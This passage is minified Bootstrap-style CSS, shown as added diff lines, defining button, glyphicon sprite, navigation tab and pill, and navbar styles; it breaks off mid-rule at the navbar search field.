+.btn-link{border-color:transparent;cursor:pointer;color:#0088cc;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;} +.btn-link:hover{color:#005580;text-decoration:underline;background-color:transparent;} +.btn-link[disabled]:hover{color:#333333;text-decoration:none;} +[class^="icon-"],[class*=" icon-"]{display:inline-block;width:14px;height:14px;*margin-right:.3em;line-height:14px;vertical-align:text-top;background-image:url("../img/glyphicons-halflings.png");background-position:14px 14px;background-repeat:no-repeat;margin-top:1px;} +.icon-white,.nav-pills>.active>a>[class^="icon-"],.nav-pills>.active>a>[class*=" icon-"],.nav-list>.active>a>[class^="icon-"],.nav-list>.active>a>[class*=" icon-"],.navbar-inverse .nav>.active>a>[class^="icon-"],.navbar-inverse .nav>.active>a>[class*=" icon-"],.dropdown-menu>li>a:hover>[class^="icon-"],.dropdown-menu>li>a:hover>[class*=" icon-"],.dropdown-menu>.active>a>[class^="icon-"],.dropdown-menu>.active>a>[class*=" icon-"],.dropdown-submenu:hover>a>[class^="icon-"],.dropdown-submenu:hover>a>[class*=" icon-"]{background-image:url("../img/glyphicons-halflings-white.png");} +.icon-glass{background-position:0 0;} +.icon-music{background-position:-24px 0;} +.icon-search{background-position:-48px 0;} +.icon-envelope{background-position:-72px 0;} +.icon-heart{background-position:-96px 0;} +.icon-star{background-position:-120px 0;} +.icon-star-empty{background-position:-144px 0;} +.icon-user{background-position:-168px 0;} +.icon-film{background-position:-192px 0;} +.icon-th-large{background-position:-216px 0;} +.icon-th{background-position:-240px 0;} +.icon-th-list{background-position:-264px 0;} +.icon-ok{background-position:-288px 0;} +.icon-remove{background-position:-312px 0;} +.icon-zoom-in{background-position:-336px 0;} +.icon-zoom-out{background-position:-360px 0;} +.icon-off{background-position:-384px 0;} +.icon-signal{background-position:-408px 0;} +.icon-cog{background-position:-432px 0;} +.icon-trash{background-position:-456px 0;} +.icon-home{background-position:0 -24px;} +.icon-file{background-position:-24px -24px;} +.icon-time{background-position:-48px -24px;} +.icon-road{background-position:-72px -24px;} +.icon-download-alt{background-position:-96px -24px;} +.icon-download{background-position:-120px -24px;} +.icon-upload{background-position:-144px -24px;} +.icon-inbox{background-position:-168px -24px;} +.icon-play-circle{background-position:-192px -24px;} +.icon-repeat{background-position:-216px -24px;} +.icon-refresh{background-position:-240px -24px;} +.icon-list-alt{background-position:-264px -24px;} +.icon-lock{background-position:-287px -24px;} +.icon-flag{background-position:-312px -24px;} +.icon-headphones{background-position:-336px -24px;} +.icon-volume-off{background-position:-360px -24px;} +.icon-volume-down{background-position:-384px -24px;} +.icon-volume-up{background-position:-408px -24px;} +.icon-qrcode{background-position:-432px -24px;} +.icon-barcode{background-position:-456px -24px;} +.icon-tag{background-position:0 -48px;} +.icon-tags{background-position:-25px -48px;} +.icon-book{background-position:-48px -48px;} +.icon-bookmark{background-position:-72px -48px;} +.icon-print{background-position:-96px -48px;} +.icon-camera{background-position:-120px -48px;} +.icon-font{background-position:-144px -48px;} +.icon-bold{background-position:-167px -48px;} +.icon-italic{background-position:-192px -48px;} +.icon-text-height{background-position:-216px -48px;} +.icon-text-width{background-position:-240px -48px;} +.icon-align-left{background-position:-264px -48px;} +.icon-align-center{background-position:-288px -48px;} +.icon-align-right{background-position:-312px -48px;} +.icon-align-justify{background-position:-336px -48px;} +.icon-list{background-position:-360px -48px;} +.icon-indent-left{background-position:-384px -48px;} +.icon-indent-right{background-position:-408px -48px;} +.icon-facetime-video{background-position:-432px -48px;} +.icon-picture{background-position:-456px -48px;} +.icon-pencil{background-position:0 -72px;} +.icon-map-marker{background-position:-24px -72px;} +.icon-adjust{background-position:-48px -72px;} +.icon-tint{background-position:-72px -72px;} +.icon-edit{background-position:-96px -72px;} +.icon-share{background-position:-120px -72px;} +.icon-check{background-position:-144px -72px;} +.icon-move{background-position:-168px -72px;} +.icon-step-backward{background-position:-192px -72px;} +.icon-fast-backward{background-position:-216px -72px;} +.icon-backward{background-position:-240px -72px;} +.icon-play{background-position:-264px -72px;} +.icon-pause{background-position:-288px -72px;} +.icon-stop{background-position:-312px -72px;} +.icon-forward{background-position:-336px -72px;} +.icon-fast-forward{background-position:-360px -72px;} +.icon-step-forward{background-position:-384px -72px;} +.icon-eject{background-position:-408px -72px;} +.icon-chevron-left{background-position:-432px -72px;} +.icon-chevron-right{background-position:-456px -72px;} +.icon-plus-sign{background-position:0 -96px;} +.icon-minus-sign{background-position:-24px -96px;} +.icon-remove-sign{background-position:-48px -96px;} +.icon-ok-sign{background-position:-72px -96px;} +.icon-question-sign{background-position:-96px -96px;} +.icon-info-sign{background-position:-120px -96px;} +.icon-screenshot{background-position:-144px -96px;} +.icon-remove-circle{background-position:-168px -96px;} +.icon-ok-circle{background-position:-192px -96px;} +.icon-ban-circle{background-position:-216px -96px;} +.icon-arrow-left{background-position:-240px -96px;} +.icon-arrow-right{background-position:-264px -96px;} +.icon-arrow-up{background-position:-289px -96px;} +.icon-arrow-down{background-position:-312px -96px;} +.icon-share-alt{background-position:-336px -96px;} +.icon-resize-full{background-position:-360px -96px;} +.icon-resize-small{background-position:-384px -96px;} +.icon-plus{background-position:-408px -96px;} +.icon-minus{background-position:-433px -96px;} +.icon-asterisk{background-position:-456px -96px;} +.icon-exclamation-sign{background-position:0 -120px;} +.icon-gift{background-position:-24px -120px;} +.icon-leaf{background-position:-48px -120px;} +.icon-fire{background-position:-72px -120px;} +.icon-eye-open{background-position:-96px -120px;} +.icon-eye-close{background-position:-120px -120px;} +.icon-warning-sign{background-position:-144px -120px;} +.icon-plane{background-position:-168px -120px;} +.icon-calendar{background-position:-192px -120px;} +.icon-random{background-position:-216px -120px;width:16px;} +.icon-comment{background-position:-240px -120px;} +.icon-magnet{background-position:-264px -120px;} +.icon-chevron-up{background-position:-288px -120px;} +.icon-chevron-down{background-position:-313px -119px;} +.icon-retweet{background-position:-336px -120px;} +.icon-shopping-cart{background-position:-360px -120px;} +.icon-folder-close{background-position:-384px -120px;} +.icon-folder-open{background-position:-408px -120px;width:16px;} +.icon-resize-vertical{background-position:-432px -119px;} +.icon-resize-horizontal{background-position:-456px -118px;} +.icon-hdd{background-position:0 -144px;} +.icon-bullhorn{background-position:-24px -144px;} +.icon-bell{background-position:-48px -144px;} +.icon-certificate{background-position:-72px -144px;} +.icon-thumbs-up{background-position:-96px -144px;} +.icon-thumbs-down{background-position:-120px -144px;} +.icon-hand-right{background-position:-144px -144px;} +.icon-hand-left{background-position:-168px -144px;} +.icon-hand-up{background-position:-192px -144px;} +.icon-hand-down{background-position:-216px -144px;} +.icon-circle-arrow-right{background-position:-240px -144px;} +.icon-circle-arrow-left{background-position:-264px -144px;} +.icon-circle-arrow-up{background-position:-288px -144px;} +.icon-circle-arrow-down{background-position:-312px -144px;} +.icon-globe{background-position:-336px -144px;} +.icon-wrench{background-position:-360px -144px;} +.icon-tasks{background-position:-384px -144px;} +.icon-filter{background-position:-408px -144px;} +.icon-briefcase{background-position:-432px -144px;} +.icon-fullscreen{background-position:-456px -144px;} +.btn-group{position:relative;display:inline-block;*display:inline;*zoom:1;font-size:0;vertical-align:middle;white-space:nowrap;*margin-left:.3em;}.btn-group:first-child{*margin-left:0;} +.btn-group+.btn-group{margin-left:5px;} +.btn-toolbar{font-size:0;margin-top:10px;margin-bottom:10px;}.btn-toolbar>.btn+.btn,.btn-toolbar>.btn-group+.btn,.btn-toolbar>.btn+.btn-group{margin-left:5px;} +.btn-group>.btn{position:relative;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;} +.btn-group>.btn+.btn{margin-left:-1px;} +.btn-group>.btn,.btn-group>.dropdown-menu,.btn-group>.popover{font-size:14px;} +.btn-group>.btn-mini{font-size:10.5px;} +.btn-group>.btn-small{font-size:11.9px;} +.btn-group>.btn-large{font-size:17.5px;} +.btn-group>.btn:first-child{margin-left:0;-webkit-border-top-left-radius:4px;-moz-border-radius-topleft:4px;border-top-left-radius:4px;-webkit-border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px;border-bottom-left-radius:4px;} +.btn-group>.btn:last-child,.btn-group>.dropdown-toggle{-webkit-border-top-right-radius:4px;-moz-border-radius-topright:4px;border-top-right-radius:4px;-webkit-border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px;border-bottom-right-radius:4px;} +.btn-group>.btn.large:first-child{margin-left:0;-webkit-border-top-left-radius:6px;-moz-border-radius-topleft:6px;border-top-left-radius:6px;-webkit-border-bottom-left-radius:6px;-moz-border-radius-bottomleft:6px;border-bottom-left-radius:6px;} +.btn-group>.btn.large:last-child,.btn-group>.large.dropdown-toggle{-webkit-border-top-right-radius:6px;-moz-border-radius-topright:6px;border-top-right-radius:6px;-webkit-border-bottom-right-radius:6px;-moz-border-radius-bottomright:6px;border-bottom-right-radius:6px;} +.btn-group>.btn:hover,.btn-group>.btn:focus,.btn-group>.btn:active,.btn-group>.btn.active{z-index:2;} +.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0;} +.btn-group>.btn+.dropdown-toggle{padding-left:8px;padding-right:8px;-webkit-box-shadow:inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);box-shadow:inset 1px 0 0 rgba(255,255,255,.125), inset 0 1px 0 rgba(255,255,255,.2), 0 1px 2px rgba(0,0,0,.05);*padding-top:5px;*padding-bottom:5px;} +.btn-group>.btn-mini+.dropdown-toggle{padding-left:5px;padding-right:5px;*padding-top:2px;*padding-bottom:2px;} +.btn-group>.btn-small+.dropdown-toggle{*padding-top:5px;*padding-bottom:4px;} +.btn-group>.btn-large+.dropdown-toggle{padding-left:12px;padding-right:12px;*padding-top:7px;*padding-bottom:7px;} +.btn-group.open .dropdown-toggle{background-image:none;-webkit-box-shadow:inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);-moz-box-shadow:inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px rgba(0,0,0,.05);} +.btn-group.open .btn.dropdown-toggle{background-color:#e6e6e6;} +.btn-group.open .btn-primary.dropdown-toggle{background-color:#0044cc;} +.btn-group.open .btn-warning.dropdown-toggle{background-color:#f89406;} +.btn-group.open .btn-danger.dropdown-toggle{background-color:#bd362f;} +.btn-group.open .btn-success.dropdown-toggle{background-color:#51a351;} +.btn-group.open .btn-info.dropdown-toggle{background-color:#2f96b4;} +.btn-group.open .btn-inverse.dropdown-toggle{background-color:#222222;} +.btn .caret{margin-top:8px;margin-left:0;} +.btn-mini .caret,.btn-small .caret,.btn-large .caret{margin-top:6px;} +.btn-large .caret{border-left-width:5px;border-right-width:5px;border-top-width:5px;} +.dropup .btn-large .caret{border-bottom-width:5px;} +.btn-primary .caret,.btn-warning .caret,.btn-danger .caret,.btn-info .caret,.btn-success .caret,.btn-inverse .caret{border-top-color:#ffffff;border-bottom-color:#ffffff;} +.btn-group-vertical{display:inline-block;*display:inline;*zoom:1;} +.btn-group-vertical>.btn{display:block;float:none;max-width:100%;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;} +.btn-group-vertical>.btn+.btn{margin-left:0;margin-top:-1px;} +.btn-group-vertical>.btn:first-child{-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0;} +.btn-group-vertical>.btn:last-child{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px;} +.btn-group-vertical>.btn-large:first-child{-webkit-border-radius:6px 6px 0 0;-moz-border-radius:6px 6px 0 0;border-radius:6px 6px 0 0;} +.btn-group-vertical>.btn-large:last-child{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;} +.nav{margin-left:0;margin-bottom:20px;list-style:none;} +.nav>li>a{display:block;} +.nav>li>a:hover{text-decoration:none;background-color:#eeeeee;} +.nav>li>a>img{max-width:none;} +.nav>.pull-right{float:right;} +.nav-header{display:block;padding:3px 15px;font-size:11px;font-weight:bold;line-height:20px;color:#999999;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);text-transform:uppercase;} +.nav li+.nav-header{margin-top:9px;} +.nav-list{padding-left:15px;padding-right:15px;margin-bottom:0;} +.nav-list>li>a,.nav-list .nav-header{margin-left:-15px;margin-right:-15px;text-shadow:0 1px 0 rgba(255, 255, 255, 0.5);} +.nav-list>li>a{padding:3px 15px;} +.nav-list>.active>a,.nav-list>.active>a:hover{color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.2);background-color:#0088cc;} +.nav-list [class^="icon-"],.nav-list [class*=" icon-"]{margin-right:2px;} +.nav-list .divider{*width:100%;height:1px;margin:9px 1px;*margin:-5px 0 5px;overflow:hidden;background-color:#e5e5e5;border-bottom:1px solid #ffffff;} +.nav-tabs,.nav-pills{*zoom:1;}.nav-tabs:before,.nav-pills:before,.nav-tabs:after,.nav-pills:after{display:table;content:"";line-height:0;} +.nav-tabs:after,.nav-pills:after{clear:both;} +.nav-tabs>li,.nav-pills>li{float:left;} +.nav-tabs>li>a,.nav-pills>li>a{padding-right:12px;padding-left:12px;margin-right:2px;line-height:14px;} +.nav-tabs{border-bottom:1px solid #ddd;} +.nav-tabs>li{margin-bottom:-1px;} +.nav-tabs>li>a{padding-top:8px;padding-bottom:8px;line-height:20px;border:1px solid transparent;-webkit-border-radius:4px 4px 0 0;-moz-border-radius:4px 4px 0 0;border-radius:4px 4px 0 0;}.nav-tabs>li>a:hover{border-color:#eeeeee #eeeeee #dddddd;} +.nav-tabs>.active>a,.nav-tabs>.active>a:hover{color:#555555;background-color:#ffffff;border:1px solid #ddd;border-bottom-color:transparent;cursor:default;} +.nav-pills>li>a{padding-top:8px;padding-bottom:8px;margin-top:2px;margin-bottom:2px;-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;} +.nav-pills>.active>a,.nav-pills>.active>a:hover{color:#ffffff;background-color:#0088cc;} +.nav-stacked>li{float:none;} +.nav-stacked>li>a{margin-right:0;} +.nav-tabs.nav-stacked{border-bottom:0;} +.nav-tabs.nav-stacked>li>a{border:1px solid #ddd;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;} +.nav-tabs.nav-stacked>li:first-child>a{-webkit-border-top-right-radius:4px;-moz-border-radius-topright:4px;border-top-right-radius:4px;-webkit-border-top-left-radius:4px;-moz-border-radius-topleft:4px;border-top-left-radius:4px;} +.nav-tabs.nav-stacked>li:last-child>a{-webkit-border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px;border-bottom-right-radius:4px;-webkit-border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px;border-bottom-left-radius:4px;} +.nav-tabs.nav-stacked>li>a:hover{border-color:#ddd;z-index:2;} +.nav-pills.nav-stacked>li>a{margin-bottom:3px;} +.nav-pills.nav-stacked>li:last-child>a{margin-bottom:1px;} +.nav-tabs .dropdown-menu{-webkit-border-radius:0 0 6px 6px;-moz-border-radius:0 0 6px 6px;border-radius:0 0 6px 6px;} +.nav-pills .dropdown-menu{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;} +.nav .dropdown-toggle .caret{border-top-color:#0088cc;border-bottom-color:#0088cc;margin-top:6px;} +.nav .dropdown-toggle:hover .caret{border-top-color:#005580;border-bottom-color:#005580;} +.nav-tabs .dropdown-toggle .caret{margin-top:8px;} +.nav .active .dropdown-toggle .caret{border-top-color:#fff;border-bottom-color:#fff;} +.nav-tabs .active .dropdown-toggle .caret{border-top-color:#555555;border-bottom-color:#555555;} +.nav>.dropdown.active>a:hover{cursor:pointer;} +.nav-tabs .open .dropdown-toggle,.nav-pills .open .dropdown-toggle,.nav>li.dropdown.open.active>a:hover{color:#ffffff;background-color:#999999;border-color:#999999;} +.nav li.dropdown.open .caret,.nav li.dropdown.open.active .caret,.nav li.dropdown.open a:hover .caret{border-top-color:#ffffff;border-bottom-color:#ffffff;opacity:1;filter:alpha(opacity=100);} +.tabs-stacked .open>a:hover{border-color:#999999;} +.tabbable{*zoom:1;}.tabbable:before,.tabbable:after{display:table;content:"";line-height:0;} +.tabbable:after{clear:both;} +.tab-content{overflow:auto;} +.tabs-below>.nav-tabs,.tabs-right>.nav-tabs,.tabs-left>.nav-tabs{border-bottom:0;} +.tab-content>.tab-pane,.pill-content>.pill-pane{display:none;} +.tab-content>.active,.pill-content>.active{display:block;} +.tabs-below>.nav-tabs{border-top:1px solid #ddd;} +.tabs-below>.nav-tabs>li{margin-top:-1px;margin-bottom:0;} +.tabs-below>.nav-tabs>li>a{-webkit-border-radius:0 0 4px 4px;-moz-border-radius:0 0 4px 4px;border-radius:0 0 4px 4px;}.tabs-below>.nav-tabs>li>a:hover{border-bottom-color:transparent;border-top-color:#ddd;} +.tabs-below>.nav-tabs>.active>a,.tabs-below>.nav-tabs>.active>a:hover{border-color:transparent #ddd #ddd #ddd;} +.tabs-left>.nav-tabs>li,.tabs-right>.nav-tabs>li{float:none;} +.tabs-left>.nav-tabs>li>a,.tabs-right>.nav-tabs>li>a{min-width:74px;margin-right:0;margin-bottom:3px;} +.tabs-left>.nav-tabs{float:left;margin-right:19px;border-right:1px solid #ddd;} +.tabs-left>.nav-tabs>li>a{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px;} +.tabs-left>.nav-tabs>li>a:hover{border-color:#eeeeee #dddddd #eeeeee #eeeeee;} +.tabs-left>.nav-tabs .active>a,.tabs-left>.nav-tabs .active>a:hover{border-color:#ddd transparent #ddd #ddd;*border-right-color:#ffffff;} +.tabs-right>.nav-tabs{float:right;margin-left:19px;border-left:1px solid #ddd;} +.tabs-right>.nav-tabs>li>a{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0;} +.tabs-right>.nav-tabs>li>a:hover{border-color:#eeeeee #eeeeee #eeeeee #dddddd;} +.tabs-right>.nav-tabs .active>a,.tabs-right>.nav-tabs .active>a:hover{border-color:#ddd #ddd #ddd transparent;*border-left-color:#ffffff;} +.nav>.disabled>a{color:#999999;} +.nav>.disabled>a:hover{text-decoration:none;background-color:transparent;cursor:default;} +.navbar{overflow:visible;margin-bottom:20px;*position:relative;*z-index:2;} +.navbar-inner{min-height:40px;padding-left:20px;padding-right:20px;background-color:#fafafa;background-image:-moz-linear-gradient(top, #ffffff, #f2f2f2);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#f2f2f2));background-image:-webkit-linear-gradient(top, #ffffff, #f2f2f2);background-image:-o-linear-gradient(top, #ffffff, #f2f2f2);background-image:linear-gradient(to bottom, #ffffff, #f2f2f2);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff2f2f2', GradientType=0);border:1px solid #d4d4d4;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:0 1px 4px rgba(0, 0, 0, 0.065);-moz-box-shadow:0 1px 4px rgba(0, 0, 0, 0.065);box-shadow:0 1px 4px rgba(0, 0, 0, 0.065);*zoom:1;}.navbar-inner:before,.navbar-inner:after{display:table;content:"";line-height:0;} +.navbar-inner:after{clear:both;} +.navbar .container{width:auto;} +.nav-collapse.collapse{height:auto;overflow:visible;} +.navbar .brand{float:left;display:block;padding:10px 20px 10px;margin-left:-20px;font-size:20px;font-weight:200;color:#777777;text-shadow:0 1px 0 #ffffff;}.navbar .brand:hover{text-decoration:none;} +.navbar-text{margin-bottom:0;line-height:40px;color:#777777;} +.navbar-link{color:#777777;}.navbar-link:hover{color:#333333;} +.navbar .divider-vertical{height:40px;margin:0 9px;border-left:1px solid #f2f2f2;border-right:1px solid #ffffff;} +.navbar .btn,.navbar .btn-group{margin-top:5px;} +.navbar .btn-group .btn,.navbar .input-prepend .btn,.navbar .input-append .btn{margin-top:0;} +.navbar-form{margin-bottom:0;*zoom:1;}.navbar-form:before,.navbar-form:after{display:table;content:"";line-height:0;} +.navbar-form:after{clear:both;} +.navbar-form input,.navbar-form select,.navbar-form .radio,.navbar-form .checkbox{margin-top:5px;} +.navbar-form input,.navbar-form select,.navbar-form .btn{display:inline-block;margin-bottom:0;} +.navbar-form input[type="image"],.navbar-form input[type="checkbox"],.navbar-form input[type="radio"]{margin-top:3px;} +.navbar-form .input-append,.navbar-form .input-prepend{margin-top:5px;white-space:nowrap;}.navbar-form .input-append input,.navbar-form .input-prepend input{margin-top:0;} +.navbar-search{position:relative;float:left;margin-top:5px;margin-bottom:0;}.navbar-search .search-query{margin-bottom:0;padding:4px 14px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:13px;font-weight:normal;line-height:1;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px;} +.navbar-static-top{position:static;margin-bottom:0;}.navbar-static-top .navbar-inner{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;} +.navbar-fixed-top,.navbar-fixed-bottom{position:fixed;right:0;left:0;z-index:1030;margin-bottom:0;} +.navbar-fixed-top .navbar-inner,.navbar-static-top .navbar-inner{border-width:0 0 1px;} +.navbar-fixed-bottom .navbar-inner{border-width:1px 0 0;} +.navbar-fixed-top .navbar-inner,.navbar-fixed-bottom .navbar-inner{padding-left:0;padding-right:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;} +.navbar-static-top .container,.navbar-fixed-top .container,.navbar-fixed-bottom .container{width:940px;} +.navbar-fixed-top{top:0;} +.navbar-fixed-top .navbar-inner,.navbar-static-top .navbar-inner{-webkit-box-shadow:0 1px 10px rgba(0,0,0,.1);-moz-box-shadow:0 1px 10px rgba(0,0,0,.1);box-shadow:0 1px 10px rgba(0,0,0,.1);} +.navbar-fixed-bottom{bottom:0;}.navbar-fixed-bottom .navbar-inner{-webkit-box-shadow:0 -1px 10px rgba(0,0,0,.1);-moz-box-shadow:0 -1px 10px rgba(0,0,0,.1);box-shadow:0 -1px 10px rgba(0,0,0,.1);} +.navbar .nav{position:relative;left:0;display:block;float:left;margin:0 10px 0 0;} +.navbar .nav.pull-right{float:right;margin-right:0;} +.navbar .nav>li{float:left;} +.navbar .nav>li>a{float:none;padding:10px 15px 10px;color:#777777;text-decoration:none;text-shadow:0 1px 0 #ffffff;} +.navbar .nav .dropdown-toggle .caret{margin-top:8px;} +.navbar .nav>li>a:focus,.navbar .nav>li>a:hover{background-color:transparent;color:#333333;text-decoration:none;} +.navbar .nav>.active>a,.navbar .nav>.active>a:hover,.navbar .nav>.active>a:focus{color:#555555;text-decoration:none;background-color:#e5e5e5;-webkit-box-shadow:inset 0 3px 8px rgba(0, 0, 0, 0.125);-moz-box-shadow:inset 0 3px 8px rgba(0, 0, 0, 0.125);box-shadow:inset 0 3px 8px rgba(0, 0, 0, 0.125);} +.navbar .btn-navbar{display:none;float:right;padding:7px 10px;margin-left:5px;margin-right:5px;color:#ffffff;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);background-color:#ededed;background-image:-moz-linear-gradient(top, #f2f2f2, #e5e5e5);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#f2f2f2), to(#e5e5e5));background-image:-webkit-linear-gradient(top, #f2f2f2, #e5e5e5);background-image:-o-linear-gradient(top, #f2f2f2, #e5e5e5);background-image:linear-gradient(to bottom, #f2f2f2, #e5e5e5);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2f2f2', endColorstr='#ffe5e5e5', GradientType=0);border-color:#e5e5e5 #e5e5e5 #bfbfbf;border-color:rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25);*background-color:#e5e5e5;filter:progid:DXImageTransform.Microsoft.gradient(enabled = false);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.075);-moz-box-shadow:inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.075);}.navbar .btn-navbar:hover,.navbar .btn-navbar:active,.navbar .btn-navbar.active,.navbar .btn-navbar.disabled,.navbar .btn-navbar[disabled]{color:#ffffff;background-color:#e5e5e5;*background-color:#d9d9d9;} +.navbar .btn-navbar:active,.navbar .btn-navbar.active{background-color:#cccccc \9;} +.navbar .btn-navbar .icon-bar{display:block;width:18px;height:2px;background-color:#f5f5f5;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);-moz-box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);box-shadow:0 1px 0 rgba(0, 0, 0, 0.25);} +.btn-navbar .icon-bar+.icon-bar{margin-top:3px;} +.navbar .nav>li>.dropdown-menu:before{content:'';display:inline-block;border-left:7px solid transparent;border-right:7px solid transparent;border-bottom:7px solid #ccc;border-bottom-color:rgba(0, 0, 0, 0.2);position:absolute;top:-7px;left:9px;} +.navbar .nav>li>.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid transparent;border-right:6px solid transparent;border-bottom:6px solid #ffffff;position:absolute;top:-6px;left:10px;} +.navbar-fixed-bottom .nav>li>.dropdown-menu:before{border-top:7px solid #ccc;border-top-color:rgba(0, 0, 0, 0.2);border-bottom:0;bottom:-7px;top:auto;} +.navbar-fixed-bottom .nav>li>.dropdown-menu:after{border-top:6px solid #ffffff;border-bottom:0;bottom:-6px;top:auto;} +.navbar .nav li.dropdown>a:hover .caret{border-top-color:#555555;border-bottom-color:#555555;} +.navbar .nav li.dropdown.open>.dropdown-toggle,.navbar .nav li.dropdown.active>.dropdown-toggle,.navbar .nav li.dropdown.open.active>.dropdown-toggle{background-color:#e5e5e5;color:#555555;} +.navbar .nav li.dropdown>.dropdown-toggle .caret{border-top-color:#777777;border-bottom-color:#777777;} +.navbar .nav li.dropdown.open>.dropdown-toggle .caret,.navbar .nav li.dropdown.active>.dropdown-toggle .caret,.navbar .nav li.dropdown.open.active>.dropdown-toggle .caret{border-top-color:#555555;border-bottom-color:#555555;} +.navbar .pull-right>li>.dropdown-menu,.navbar .nav>li>.dropdown-menu.pull-right{left:auto;right:0;}.navbar .pull-right>li>.dropdown-menu:before,.navbar .nav>li>.dropdown-menu.pull-right:before{left:auto;right:12px;} +.navbar .pull-right>li>.dropdown-menu:after,.navbar .nav>li>.dropdown-menu.pull-right:after{left:auto;right:13px;} +.navbar .pull-right>li>.dropdown-menu .dropdown-menu,.navbar .nav>li>.dropdown-menu.pull-right .dropdown-menu{left:auto;right:100%;margin-left:0;margin-right:-1px;-webkit-border-radius:6px 0 6px 6px;-moz-border-radius:6px 0 6px 6px;border-radius:6px 0 6px 6px;} +.navbar-inverse .navbar-inner{background-color:#1b1b1b;background-image:-moz-linear-gradient(top, #222222, #111111);background-image:-webkit-gradient(linear, 0 0, 0 100%, from(#222222), to(#111111));background-image:-webkit-linear-gradient(top, #222222, #111111);background-image:-o-linear-gradient(top, #222222, #111111);background-image:linear-gradient(to bottom, #222222, #111111);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff222222', endColorstr='#ff111111', GradientType=0);border-color:#252525;} +.navbar-inverse .brand,.navbar-inverse .nav>li>a{color:#999999;text-shadow:0 -1px 0 rgba(0, 0, 0, 0.25);}.navbar-inverse .brand:hover,.navbar-inverse .nav>li>a:hover{color:#ffffff;} +.navbar-inverse .brand{color:#999999;} +.navbar-inverse .navbar-text{color:#999999;} +.navbar-inverse .nav>li>a:focus,.navbar-inverse .nav>li>a:hover{background-color:transparent;color:#ffffff;} +.navbar-inverse .nav .active>a,.navbar-inverse .nav .active>a:hover,.navbar-inverse .nav .active>a:focus{color:#ffffff;background-color:#111111;} +.navbar-inverse .navbar-link{color:#999999;}.navbar-inverse .navbar-link:hover{color:#ffffff;} +.navbar-inverse .divider-vertical{border-left-color:#111111;border-right-color:#222222;} +.navbar-inverse .nav li.dropdown.open>.dropdown-toggle,.navbar-inverse .nav li.dropdown.active>.dropdown-toggle,.navbar-inverse .nav li.dropdown.open.active>.dropdown-toggle{background-color:#111111;color:#ffffff;} +.navbar-inverse .nav li.dropdown>a:hover .caret{border-top-color:#ffffff;border-bottom-color:#ffffff;} +.navbar-inverse .nav li.dropdown>.dropdown-toggle .caret{border-top-color:#999999;border-bottom-color:#999999;} +.navbar-inverse .nav li.dropdown.open>.dropdown-toggle .caret,.navbar-inverse .nav li.dropdown.active>.dropdown-toggle .caret,.navbar-inverse .nav li.dropdown.open.active>.dropdown-toggle .caret{border-top-color:#ffffff;border-bottom-color:#ffffff;} +.navbar-inverse .navbar-search .search-query{color:#ffffff;background-color:#515151;border-color:#111111;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15);box-shadow:inset 0 1px 2px rgba(0,0,0,.1), 0 1px 0 rgba(255,255,255,.15);-webkit-transition:none;-moz-transition:none;-o-transition:none;transition:none;}.navbar-inverse .navbar-search .search-query:-moz-placeholder{color:#cccccc;} +.navbar-inverse .navbar-search .search-query:-ms-input-placeholder{color:#cccccc;} +.navbar-inverse .navbar-search .search-query::-webkit-input-placeholder{color:#cccccc;} +.navbar-inverse .navbar-search .search-query:focus,.navbar-inverse .navbar-search .search-query.focused{padding:5px 15px;color:#333333;text-shadow:0 1px 0 